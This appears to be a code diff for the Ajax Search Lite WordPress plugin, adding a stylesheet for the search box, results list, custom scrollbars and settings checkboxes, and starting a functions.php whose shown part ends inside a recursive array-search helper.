+ /* SQUARED THREE */
463
+ #ajaxsearchlitesettings.searchsettings .option input[type=checkbox] {
464
+ display:none;
465
+ }
466
+
467
+ #ajaxsearchlitesettings.searchsettings.ie78 .option input[type=checkbox] {
468
+ display:block;
469
+ }
470
+
471
+ #ajaxsearchlitesettings.searchsettings.ie78 .label {
472
+ float:right !important;
473
+ }
474
+
475
+ #ajaxsearchlitesettings.searchsettings .option {
476
+ width: 20px;
477
+ position: relative;
478
+ float: left;
479
+ }
480
+
481
+ #ajaxsearchlitesettings.searchsettings .option label {
482
+ cursor: pointer;
483
+ position: absolute;
484
+ width: 20px;
485
+ height: 20px;
486
+ top: 0;
487
+ border-radius: 4px;
488
+ -webkit-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
489
+ -moz-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
490
+ box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
491
+ background: #45484d;
492
+ background: -webkit-linear-gradient(top, #222222 0%, #45484d 100%);
493
+ background: -moz-linear-gradient(top, #222222 0%, #45484d 100%);
494
+ background: -o-linear-gradient(top, #222222 0%, #45484d 100%);
495
+ background: -ms-linear-gradient(top, #222222 0%, #45484d 100%);
496
+ background: linear-gradient(top, #222222 0%, #45484d 100%);
497
+ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#222222', endColorstr='#45484d',GradientType=0 );
498
+ }
499
+
500
+ #ajaxsearchlitesettings.searchsettings.ie78 .option label {
501
+ display:none;
502
+ }
503
+
504
+ #ajaxsearchlitesettings.searchsettings .option label:after {
505
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
506
+ filter: alpha(opacity=0);
507
+ opacity: 0;
508
+ content: '';
509
+ position: absolute;
510
+ width: 9px;
511
+ height: 5px;
512
+ background: transparent;
513
+ top: 4px;
514
+ left: 4px;
515
+ border: 3px solid #fcfff4;
516
+ border-top: none;
517
+ border-right: none;
518
+
519
+ -webkit-transform: rotate(-45deg);
520
+ -moz-transform: rotate(-45deg);
521
+ -o-transform: rotate(-45deg);
522
+ -ms-transform: rotate(-45deg);
523
+ transform: rotate(-45deg);
524
+ }
525
+
526
+ #ajaxsearchlitesettings.searchsettings.ie78 .option label:after {
527
+ display:none;
528
+ }
529
+
530
+ #ajaxsearchlitesettings.searchsettings .option label:hover::after {
531
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";
532
+ filter: alpha(opacity=30);
533
+ opacity: 0.3;
534
+ }
535
+
536
+ #ajaxsearchlitesettings.searchsettings .option input[type=checkbox]:checked + label:after {
537
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
538
+ filter: alpha(opacity=100);
539
+ opacity: 1;
540
+ }
541
+
542
+ #ajaxsearchliteres .thumb .end,
543
+ #ajaxsearchliteres .thumb { background-color: #B4E0F4; border-radius: 20px; }
544
+ #ajaxsearchliteres .scrollbar { position: relative; float: right; width: 15px; border-radius: 0px; background: #FFF;}
545
+ #ajaxsearchliteres .track { background-color: #FFF; height: 100%; width:13px; position: relative; padding: 0 1px; border-radius: 0px; }
546
+ #ajaxsearchliteres .thumb { height: 20px; width: 13px; cursor: pointer; overflow: hidden; position: absolute; top: 0; }
547
+ #ajaxsearchliteres .thumb .end { overflow: hidden; height: 5px; width: 13px; }
548
+ #ajaxsearchliteres .disable{ display: none; }
549
+ #ajaxsearchliteres .viewport { position: relative; }
550
+ #ajaxsearchliteres .overview { left: 0; top: 0; }
css/style.css ADDED
@@ -0,0 +1,624 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ .clear {
2
+ clear: both;
3
+ }
4
+
5
+ .hiddend {
6
+ display:none;
7
+ }
8
+
9
+ #ajaxsearchlite textarea:focus,
10
+ #ajaxsearchlite input:focus{
11
+ outline: none;
12
+ }
13
+
14
+ #ajaxsearchlite {
15
+ width: 100%;
16
+ height: 40px;
17
+ border-radius: 5px;
18
+ background: #d1eaff;
19
+ background: #ebebeb;
20
+ overflow: hidden;
21
+ border:0px solid #ebebeb;border-radius:0px 0px 0px 0px; box-shadow:0px 0px 0px 0px #858585 ;}
22
+
23
+ #ajaxsearchlite .probox {
24
+ width: auto;
25
+ margin: 4px;
26
+ height: 30px;
27
+ border-radius: 5px;
28
+ background: #FFF;
29
+ overflow: hidden;
30
+ border: 1px solid #FFF;
31
+ box-shadow: 1px 0 3px #CCCCCC inset;
32
+ background: #ffffff;
33
+ border:1px solid #d6d6d6;border-radius:0px 0px 0px 0px; box-shadow:0px 0px 0px 0px #ccc inset;}
34
+
35
+ #ajaxsearchlite .probox .proinput {
36
+ width: auto;
37
+ height: 100%;
38
+ margin: 2px 0px 0px 10px;
39
+ padding: 5px;
40
+ float: left;
41
+ box-shadow: none;
42
+ position: relative;
43
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:13px;}
44
+
45
+ #ajaxsearchlite .probox .proinput input {
46
+ border: 0px;
47
+ background: transparent;
48
+ width: 100%;
49
+ box-shadow: none;
50
+ margin: 0;
51
+ padding: 0;
52
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:13px;}
53
+
54
+ #ajaxsearchlite .probox .proinput input.autocomplete {
55
+ border: 0px;
56
+ background: transparent;
57
+ width: 100%;
58
+ box-shadow: none;
59
+ margin: 0;
60
+ padding: 0;
61
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:13px;}
62
+
63
+ #ajaxsearchlite .probox .proinput.iepaddingfix {
64
+ padding-top: 0;
65
+ }
66
+
67
+ #ajaxsearchlite .probox .proinput .loading {
68
+ width: 32px;
69
+ background: #000;
70
+ height: 100%;
71
+ box-shadow: none;
72
+ }
73
+
74
+ #ajaxsearchlite .probox .proloading,
75
+ #ajaxsearchlite .probox .promagnifier,
76
+ #ajaxsearchlite .probox .prosettings {
77
+ width: 32px;
78
+ height: 32px;
79
+ background: none;
80
+ float: right;
81
+ box-shadow: none;
82
+ margin: 0;
83
+ padding: 0;
84
+ }
85
+
86
+ #ajaxsearchlite .probox .proloading {
87
+ background: url("http://35.wp.wp-dreams.com/wp-content/plugins/ajax-search-pro/img/loading/loading3.gif") no-repeat;
88
+ background-position:center center;
89
+ visibility: hidden;
90
+ }
91
+
92
+ #ajaxsearchlite .probox .promagnifier {
93
+ background: url("http://35.wp.wp-dreams.com/wp-content/plugins/ajax-search-pro/img/magnifiers/magn3.png") no-repeat #ffffff;
94
+ background-position:center center;
95
+ cursor: pointer;
96
+ }
97
+
98
+
99
+ #ajaxsearchlite .probox .prosettings {
100
+ background: url("http://35.wp.wp-dreams.com/wp-content/plugins/ajax-search-pro/img/settings/settings10.png") no-repeat #ffffff;
101
+ background-position:center center;
102
+ cursor: pointer;
103
+ }
104
+
105
+ #ajaxsearchliteres {
106
+ padding: 4px;
107
+ background: #D1EAFF;
108
+ background: #ffffff;
109
+ border-radius: 3px;
110
+ border:1px solid #e0e0e0;border-radius:0px 0px 0px 0px; box-shadow:0px 0px 1px 0px #d9d9d9 ; position: absolute;
111
+ visibility: hidden;
112
+ z-index:1100;
113
+ }
114
+
115
+ #ajaxsearchliteres .results .nores {
116
+ overflow: hidden;
117
+ width: auto;
118
+ height: 100%;
119
+ line-height: auto;
120
+ text-align: center;
121
+ margin: 0;
122
+ background: #FFF;
123
+ }
124
+
125
+ #ajaxsearchliteres .results .nores .keyword{
126
+ padding: 0 6px;
127
+ cursor: pointer;
128
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:14px; font-weight: bold;
129
+ }
130
+
131
+ #ajaxsearchliteres .results {
132
+ overflow: hidden;
133
+ width: auto;
134
+ height: 0;
135
+ margin: 0;
136
+ padding: 0;
137
+ }
138
+
139
+ #ajaxsearchliteres .results .item {
140
+ overflow: hidden;
141
+ width: auto;
142
+ height: 70px;
143
+ margin: 0;
144
+ margin-bottom: -3px;
145
+ padding: 3px;
146
+ position: relative;
147
+ background: #f4f4f4;
148
+ background: #ffffff;
149
+ border-radius: 3px;
150
+ border-left: 1px solid rgba(255, 255, 255, 0.6);
151
+ border-right: 1px solid rgba(255, 255, 255, 0.4);
152
+ }
153
+
154
+ #ajaxsearchliteres .results .item:last-child {
155
+ margin-bottom: 0px;
156
+ }
157
+
158
+
159
+ #ajaxsearchliteres .results .item .image {
160
+ overflow: hidden;
161
+ width: 70px;
162
+ height: 70px;
163
+ background: #000;
164
+ background: #ffffff;
165
+ margin: 0;
166
+ padding: 0;
167
+ float: left;
168
+ }
169
+
170
+ #ajaxsearchliteres .results .item .content {
171
+ overflow: hidden;
172
+ width: 50%;
173
+ height: 70px;
174
+ background: #fff;
175
+ background: #ffffff;
176
+ margin: 0;
177
+ padding: 0 10px;
178
+ float: right;
179
+ }
180
+
181
+ #ajaxsearchliteres .results .item .content h3 {
182
+ margin: 0;
183
+ padding: 0;
184
+ line-height: inherit;
185
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
186
+
187
+ #ajaxsearchliteres .results .item .content h3 a span.overlap {
188
+ position:absolute;
189
+ width:100%;
190
+ height:100%;
191
+ top:0;
192
+ left: 0;
193
+ z-index: 1;
194
+ background-image: url('empty.gif');
195
+ }
196
+
197
+ #ajaxsearchliteres .results .item .content h3 a {
198
+ margin: 0;
199
+ padding: 0;
200
+ line-height: inherit;
201
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
202
+
203
+ #ajaxsearchliteres .results .item .content h3 a:hover {
204
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
205
+
206
+ #ajaxsearchliteres .results .item div.etc {
207
+ margin: 2px 3px;
208
+ padding: 0;
209
+ line-height: 10px;
210
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:13px;}
211
+ #ajaxsearchliteres .results .item .etc .author {
212
+ padding: 0;
213
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:13px;}
214
+ #ajaxsearchliteres .results .item .etc .date {
215
+ margin: 0 0 0 10px;
216
+ padding: 0;
217
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#adadad;font-size:12px;line-height:13px;
218
+ }
219
+ #ajaxsearchliteres .resdrg {
220
+ height: auto;
221
+ }
222
+
223
+ #ajaxsearchliteres .results .item p.desc {
224
+ margin: 2px 0px;
225
+ padding: 0;
226
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:14px;}
227
+
228
+ #ajaxsearchliteres .mCSB_container{
229
+ width:auto;
230
+ margin-right:20px;
231
+ overflow:hidden;
232
+ }
233
+ #ajaxsearchliteres .mCSB_container.mCS_no_scrollbar{
234
+ margin-right:0;
235
+ }
236
+ #ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
237
+ width:16px;
238
+ height:100%;
239
+ top:0;
240
+ right:0;
241
+ }
242
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerContainer{
243
+ height:100%;
244
+ -webkit-box-sizing:border-box;
245
+ -moz-box-sizing:border-box;
246
+ box-sizing:border-box;
247
+ }
248
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp+.mCSB_draggerContainer{
249
+ padding-bottom:40px;
250
+ }
251
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
252
+ width:10px;
253
+ height:100%;
254
+ margin:0 auto;
255
+ -webkit-border-radius:10px;
256
+ -moz-border-radius:10px;
257
+ border-radius:10px;
258
+ }
259
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger{
260
+ cursor:pointer;
261
+ width:100%;
262
+ height:30px;
263
+ }
264
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
265
+ width:10px;
266
+ height:100%;
267
+ margin:0 auto;
268
+ -webkit-border-radius:10px;
269
+ -moz-border-radius:10px;
270
+ border-radius:10px;
271
+ text-align:center;
272
+ }
273
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
274
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
275
+ height:20px;
276
+ -overflow:hidden;
277
+ margin:0 auto;
278
+ cursor:pointer;
279
+ }
280
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
281
+ bottom:0;
282
+ margin-top:-40px;
283
+ }
284
+
285
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_container{
286
+ height:auto;
287
+ margin-right:0;
288
+ margin-bottom:30px;
289
+ overflow:hidden;
290
+ }
291
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_container.mCS_no_scrollbar{
292
+ margin-bottom:0;
293
+ }
294
+ #ajaxsearchliteres .mCSB_horizontal.mCustomScrollBox .mCSB_scrollTools{
295
+ width:100%;
296
+ height:16px;
297
+ top:auto;
298
+ right:auto;
299
+ bottom:0;
300
+ left:0;
301
+ overflow:hidden;
302
+ }
303
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerContainer{
304
+ height:100%;
305
+ width:auto;
306
+ -webkit-box-sizing:border-box;
307
+ -moz-box-sizing:border-box;
308
+ box-sizing:border-box;
309
+ overflow:hidden;
310
+ }
311
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft+.mCSB_draggerContainer{
312
+ padding-bottom:0;
313
+ padding-right:20px;
314
+ }
315
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerRail{
316
+ width:100%;
317
+ height:2px;
318
+ margin:7px 0;
319
+ -webkit-border-radius:10px;
320
+ -moz-border-radius:10px;
321
+ border-radius:10px;
322
+ }
323
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger{
324
+ width:30px;
325
+ height:100%;
326
+ }
327
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
328
+ width:100%;
329
+ height:4px;
330
+ margin:6px auto;
331
+ -webkit-border-radius:10px;
332
+ -moz-border-radius:10px;
333
+ border-radius:10px;
334
+ }
335
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft,
336
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
337
+ width:20px;
338
+ height:100%;
339
+ overflow:hidden;
340
+ margin:0 auto;
341
+ cursor:pointer;
342
+ float:left;
343
+ }
344
+ #ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
345
+ right:0;
346
+ bottom:auto;
347
+ margin-left:-40px;
348
+ margin-top:-16px;
349
+ float:right;
350
+ }
351
+
352
+
353
+ #ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
354
+ opacity:0.75;
355
+ }
356
+ #ajaxsearchliteres .mCustomScrollBox:hover .mCSB_scrollTools{
357
+ opacity:1;
358
+ }
359
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
360
+ background:#000; /* rgba fallback */
361
+ background:rgba(0,0,0,0.4);
362
+ filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
363
+ }
364
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
365
+ background:#fff; /* rgba fallback */
366
+ background:rgba(255, 255, 255,0.9);
367
+ filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
368
+ }
369
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{
370
+ background:rgba(255, 255, 255,0.95);
371
+ filter:"alpha(opacity=95)"; -ms-filter:"alpha(opacity=95)"; /* old ie */
372
+ }
373
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,
374
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar{
375
+ background:rgba(255, 255, 255,1);
376
+ filter:"alpha(opacity=100)"; -ms-filter:"alpha(opacity=100)"; /* old ie */
377
+ }
378
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
379
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown,
380
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft,
381
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
382
+ padding: 10px 0 0 0;
383
+ background:0;
384
+ opacity:0.4;
385
+ filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
386
+ }
387
+
388
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown { height:0;position: relative; }
389
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { top: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute;}
390
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { border-color: rgba(136, 183, 213, 0); border-top-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
391
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp { position: relative; margin:10px 0 0 0; height: 0; }
392
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { bottom: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; }
393
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { border-color: rgba(136, 183, 213, 0); border-bottom-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
394
+
395
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp{
396
+ background-position:0 0;
397
+ /*
398
+ sprites locations are 0 0/-16px 0/-32px 0/-48px 0 (light) and -80px 0/-96px 0/-112px 0/-128px 0 (dark)
399
+ */
400
+ }
401
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
402
+ background-position:0 -20px;
403
+ /*
404
+ sprites locations are 0 -20px/-16px -20px/-32px -20px/-48px -20px (light) and -80px -20px/-96px -20px/-112px -20px/-128px -20px (dark)
405
+ */
406
+ }
407
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft{
408
+ background-position:0 -40px;
409
+ /*
410
+ sprites locations are 0 -40px/-20px -40px/-40px -40px/-60px -40px (light) and -80px -40px/-100px -40px/-120px -40px/-140px -40px (dark)
411
+ */
412
+ }
413
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
414
+ background-position:0 -56px;
415
+ /*
416
+ sprites locations are 0 -56px/-20px -56px/-40px -56px/-60px -56px (light) and -80px -56px/-100px -56px/-120px -56px/-140px -56px (dark)
417
+ */
418
+ }
419
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:hover,
420
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:hover,
421
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:hover,
422
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:hover{
423
+ opacity:0.75;
424
+ filter:"alpha(opacity=75)"; -ms-filter:"alpha(opacity=75)"; /* old ie */
425
+ }
426
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:active,
427
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:active,
428
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:active,
429
+ #ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:active{
430
+ opacity:0.9;
431
+ filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
432
+ }
433
+
434
+ #ajaxsearchliteres span.highlighted{
435
+ font-weight: bold;
436
+ color: #d9312b;
437
+ background-color: #eee;
438
+ color: #d9312b;
439
+ background-color: #eee;
440
+ }
441
+
442
+ #ajaxsearchliteres p.showmore {
443
+ text-align: center;
444
+ padding: 0;
445
+ margin: 0;
446
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#055e94;font-size:12px;line-height:15px;
447
+ }
448
+
449
+ #ajaxsearchliteres p.showmore a{
450
+ font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#055e94;font-size:12px;line-height:15px;
451
+ }
452
+
453
+ #ajaxsearchliteres .group {
454
+ background: #DDDDDD;
455
+ background: #EFEFEF;
456
+ border-radius: 3px 3px 0 0;
457
+ border-top: 1px solid rgba(255, 255, 255, 0.7);
458
+ border-left: 1px solid rgba(255, 255, 255, 0.7);
459
+ border-right: 1px solid rgba(255, 255, 255, 0.7);
460
+ margin: 10px 0 -3px;
461
+ padding: 7px 0 7px 10px;
462
+ position: relative;
463
+ z-index: 1000;
464
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#055E94;font-size:11px;line-height:13px;
465
+ }
466
+
467
+ #ajaxsearchliteres .group:first-of-type {
468
+ margin: 0px 0 -3px;
469
+ }
470
+
471
+ #ajaxsearchlitesettings.searchsettings {
472
+ width: 200px;
473
+ height: auto;
474
+ background: #ffffff;
475
+ position: absolute;
476
+ display: none;
477
+ z-index: 1101;
478
+ border-radius: 0 0 3px 3px;
479
+ box-shadow: 2px 2px 3px -1px #AAAAAA;
480
+ visibility: hidden;
481
+ padding: 0 0 8px 0;
482
+ }
483
+
484
+ #ajaxsearchlitesettings.searchsettings .option {
485
+ margin: 10px;
486
+ *padding-bottom: 10px;
487
+ }
488
+
489
+ #ajaxsearchlitesettings.searchsettings.ie78 .option {
490
+ margin-bottom: 0 !important;
491
+ padding-bottom: 0 !important;
492
+ }
493
+
494
+ #ajaxsearchlitesettings.searchsettings .label {
495
+ float: left;
496
+ font-size: 14px;
497
+ line-height: 24px;
498
+ margin: 6px 10px 0 0;
499
+ width: 143px;
500
+ text-shadow: none;
501
+ padding: 0;
502
+ border: none;
503
+ background: transparent;
504
+ color: #333;
505
+ }
506
+
507
+ /* SQUARED THREE */
508
+ #ajaxsearchlitesettings.searchsettings .option input[type=checkbox] {
509
+ display:none;
510
+ }
511
+
512
+ #ajaxsearchlitesettings.searchsettings.ie78 .option input[type=checkbox] {
513
+ display:block;
514
+ }
515
+
516
+ #ajaxsearchlitesettings.searchsettings.ie78 .label {
517
+ float:right !important;
518
+ }
519
+
520
+ #ajaxsearchlitesettings.searchsettings .option {
521
+ width: 20px;
522
+ position: relative;
523
+ float: left;
524
+ }
525
+
526
+ #ajaxsearchlitesettings.searchsettings .option label {
527
+ cursor: pointer;
528
+ position: absolute;
529
+ width: 20px;
530
+ height: 20px;
531
+ top: 0;
532
+ padding: 0;
533
+ border-radius: 4px;
534
+ -webkit-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
535
+ -moz-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
536
+ box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
537
+ background: #45484d;
538
+ background: -webkit-linear-gradient(top, #222222 0%, #45484d 100%);
539
+ background: -moz-linear-gradient(top, #222222 0%, #45484d 100%);
540
+ background: -o-linear-gradient(top, #222222 0%, #45484d 100%);
541
+ background: -ms-linear-gradient(top, #222222 0%, #45484d 100%);
542
+ background: linear-gradient(top, #222222 0%, #45484d 100%);
543
+ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#222222', endColorstr='#45484d',GradientType=0 );
544
+ }
545
+
546
+ #ajaxsearchlitesettings.searchsettings.ie78 .option label {
547
+ display:none;
548
+ }
549
+
550
+ #ajaxsearchlitesettings.searchsettings .option label:after {
551
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
552
+ filter: alpha(opacity=0);
553
+ opacity: 0;
554
+ content: '';
555
+ position: absolute;
556
+ width: 9px;
557
+ height: 5px;
558
+ background: transparent;
559
+ top: 4px;
560
+ left: 4px;
561
+ border: 3px solid #fcfff4;
562
+ border-top: none;
563
+ border-right: none;
564
+
565
+ -webkit-transform: rotate(-45deg);
566
+ -moz-transform: rotate(-45deg);
567
+ -o-transform: rotate(-45deg);
568
+ -ms-transform: rotate(-45deg);
569
+ transform: rotate(-45deg);
570
+ }
571
+
572
+ #ajaxsearchlitesettings.searchsettings.ie78 .option label:after {
573
+ display:none;
574
+ }
575
+
576
+ #ajaxsearchlitesettings.searchsettings .option label:hover::after {
577
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";
578
+ filter: alpha(opacity=30);
579
+ opacity: 0.3;
580
+ }
581
+
582
+ #ajaxsearchlitesettings.searchsettings .option input[type=checkbox]:checked + label:after {
583
+ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
584
+ filter: alpha(opacity=100);
585
+ opacity: 1;
586
+ }
587
+
588
+ #ajaxsearchlitesettings.searchsettings fieldset {
589
+ position:relative;
590
+ float:left;
591
+ }
592
+
593
+ #ajaxsearchlitesettings.searchsettings fieldset .categoryfilter {
594
+ max-height: 200px;
595
+ overflow: auto;
596
+ }
597
+
598
+ #ajaxsearchlitesettings.searchsettings fieldset {
599
+ background: transparent;
600
+ font-size: 0.9em;
601
+ margin: 5px 0 0;
602
+ padding: 0px;
603
+ }
604
+
605
+ #ajaxsearchlitesettings.searchsettings fieldset legend {
606
+ padding: 5px 0 0 10px;
607
+ margin: 0;
608
+ font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#055e94;font-size:12px;line-height:15px;}
609
+
610
+ #ajaxsearchlitesettings.searchsettings fieldset .label {
611
+ width: 130px;
612
+ }
613
+
614
+
615
+ #ajaxsearchliteres .thumb .end,
616
+ #ajaxsearchliteres .thumb { background-color: #FFF; border-radius: 20px; }
617
+ #ajaxsearchliteres .scrollbar { position: relative; float: right; width: 15px; border-radius: 20px; background: #eee;}
618
+ #ajaxsearchliteres .track { background-color: #ccc; height: 100%; width:13px; position: relative; padding: 0 1px; border-radius: 20px; }
619
+ #ajaxsearchliteres .thumb { height: 20px; width: 13px; cursor: pointer; overflow: hidden; position: absolute; top: 0; }
620
+ #ajaxsearchliteres .thumb .end { overflow: hidden; height: 5px; width: 13px; }
621
+ #ajaxsearchliteres .disable{ display: none; }
622
+ #ajaxsearchliteres .viewport { position: relative; }
623
+ #ajaxsearchliteres .overview { left: 0; top: 0; }
624
+
functions.php ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ if (!function_exists("in_array_r")) {
4
+ function in_array_r($needle, $haystack, $strict = true) {
5
+ foreach ($haystack as $item) {
6
+ if (($strict ? $item === $needle : $item == $needle) || (is_array($item) && in_array_r($needle, $item, $strict))) {
